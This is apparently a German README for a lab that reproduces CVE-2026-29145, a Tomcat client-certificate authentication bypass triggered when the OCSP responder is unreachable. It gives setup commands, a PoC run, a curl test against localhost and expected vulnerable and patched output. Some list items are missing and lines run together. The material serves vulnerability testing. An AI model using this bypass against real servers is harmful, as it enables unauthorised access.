
Dieses Repository enthält eine Proof-of-Concept-Umgebung (PoC), die zum Testen von CVE-2026-29145 entwickelt wurde.
Dieses Repository enthält eine Proof-of-Concept-Umgebung (PoC), die zum Testen von CVE-2026-29145 entwickelt wurde.
Die Schwachstelle ist eine Authentifizierungsumgehung in Apache Tomcats Mutual-TLS-Implementierung (CLIENT_CERT). Wenn OCSP (Online Certificate Status Protocol) mit deaktiviertem Soft-Fail konfiguriert ist, kann Tomcat einen OCSP-Prüfungsfehler möglicherweise nicht als harte Ablehnung behandeln. Dies ermöglicht es einem Client mit einem potenziell widerrufenen oder nicht verifizierten Zertifikat, die Authentifizierung zu umgehen, wenn der OCSP-Responder nicht erreichbar ist oder einen Fehler zurückgibt.
| Eigenschaft | Wert |
|---|---|
| CVE-ID | CVE-2026-29145 |
| CVSS-Score | 9.1 (Kritisch) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Angriffsvektor | Netzwerk |
| Erforderliche Berechtigungen | Keine |
| Auswirkung | Authentifizierungsumgehung |
.ps1-SkripteDas Skript run_test.sh automatisiert den gesamten Prozess: Bereinigung, Zertifikatsgenerierung und Ausführung aller Testszenarien (verwundbar, erfolgreich und gepatcht).
# Zum Projektverzeichnis navigieren
cd CVE-2026-29145-Tester
# Skripte ausführbar machen
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Python-Abhängigkeiten installieren (falls poc_exploit.py sie benötigt)
pip install -r requirements.txt
# Die vollständige Testsuite ausführen
./run_test.sh
Auf Linux/macOS:
./setup_certs.sh
Auf Windows (PowerShell):
.\setup_certs.ps1
Was dies bewirkt:
http://localhost:8888 verweistErwartete Ausgabe:
[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!
docker-compose up -d
Was dies bewirkt:
Überprüfen, ob die Container laufen:
docker-compose ps
python poc_exploit.py
Erwartete Ausgaben:
Verwundbares System:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...
Gepatchtes System:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).
| Szenario | OCSP-Status | Erwartet (gepatcht) | Ergebnis (verwundbar) | Hinweise |
|---|---|---|---|---|
| Normaler Betrieb | Online & gültig | 200 OK ✓ | 200 OK ✓ | OCSP-Prüfung erfolgreich, Zugriff gewährt |
| Soft-Fehler | Offline/Timeout | 403 Forbidden ✓ | 200 OK ✗ | UMGEHUNG - OCSP-Responder nicht erreichbar |
| Harte Widerrufung | Online & widerrufen | 403 Forbidden ✓ | 403 Forbidden ✓ | Zertifikat explizit widerrufen |
| Ungültiges Zertifikat | Ungültige Kette | 403 Forbidden ✓ | 403 Forbidden ✓ | Kettenvalidierung schlägt fehl |
Test 1: Standard (OCSP-Responder schlägt fehl)
# Container laufen lassen
python poc_exploit.py
Test 2: OCSP-Responder stoppen (Timeout simulieren)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
Test 3: Manuelles Testen mit curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # Diese Datei
├── setup_certs.sh # Skript zur Zertifikatsgenerierung - Bash (Linux/macOS)
├── setup_certs.ps1 # Skript zur Zertifikatsgenerierung - PowerShell (Windows)
├── cleanup.sh # Bereinigungs- und Rücksetzskript - Bash (Linux/macOS)
├── cleanup.ps1 # Bereinigungs- und Rücksetzskript - PowerShell (Windows)
├── run_test.sh # Skript für den automatisierten vollständigen Testzyklus
├── docker-compose.yml # Docker-Dienstorchestrierung
├── requirements.txt # Python-Abhängigkeiten
├── poc_exploit.py # Haupttestskript (mit Protokollierung und Fehlerbehandlung)
├── simple_proxy_fail.py # Mock-OCSP-Responder (mit detaillierter Protokollierung)
├── .gitignore # Git-Ignore-Regeln für Zertifikate und Protokolle
├── certs/ # Generierte Zertifikate (erstellt durch setup_certs-Skripte)
│ ├── ca-chain.pem # Root-CA-Zertifikat
│ ├── ca-key.pem # Privater Schlüssel der Root-CA
│ ├── server-cert.pem # Tomcat-Serverzertifikat
│ ├── server-key.pem # Privater Schlüssel des Tomcat-Servers
│ ├── client-cert.pem # Test-Clientzertifikat
│ └── client-key.pem # Privater Schlüssel des Test-Clients
├── tomcat/
│ └── server.xml # Verwundbare Tomcat-Konfiguration
└── logs/ # Tomcat-Protokolle (zur Laufzeit erstellt)
Die Datei tomcat/server.xml konfiguriert:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
Wichtige Einstellungen:
certificateVerification="required" - Erzwingt die CLIENT_CERT-AuthentifizierungOCSP on - Aktiviert die OCSP-WiderrufsprüfungDer Mock-OCSP-Responder (simple_proxy_fail.py):
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
Ursache: Die Zertifikatsgenerierung ist fehlgeschlagen oder wurde nicht ausgeführt.
# Bereinigen und neu generieren
rm -rf certs
./setup_certs.sh